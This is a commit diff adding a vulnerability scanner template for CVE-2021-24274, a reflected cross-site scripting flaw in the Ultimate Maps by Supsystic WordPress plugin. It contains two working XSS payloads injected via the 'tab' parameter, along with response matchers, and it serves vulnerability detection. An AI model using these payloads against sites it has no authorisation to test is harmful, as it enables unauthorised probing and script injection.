Create CVE-2021-24274.yaml

cves/2021/CVE-2021-24274.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-24274
+
+info:
+  name: Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS)
+  author: dhiyaneshDK
+  severity: low
+  reference:
+    - https://wpscan.com/vulnerability/200a3031-7c42-4189-96b1-bed9e0ab7c1d
+  tags: wordpress,cves,cve2021
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="onmouseover=alert(/XSS/)//'
+      - '{{BaseURL}}/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'alert(/XSS/)/'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header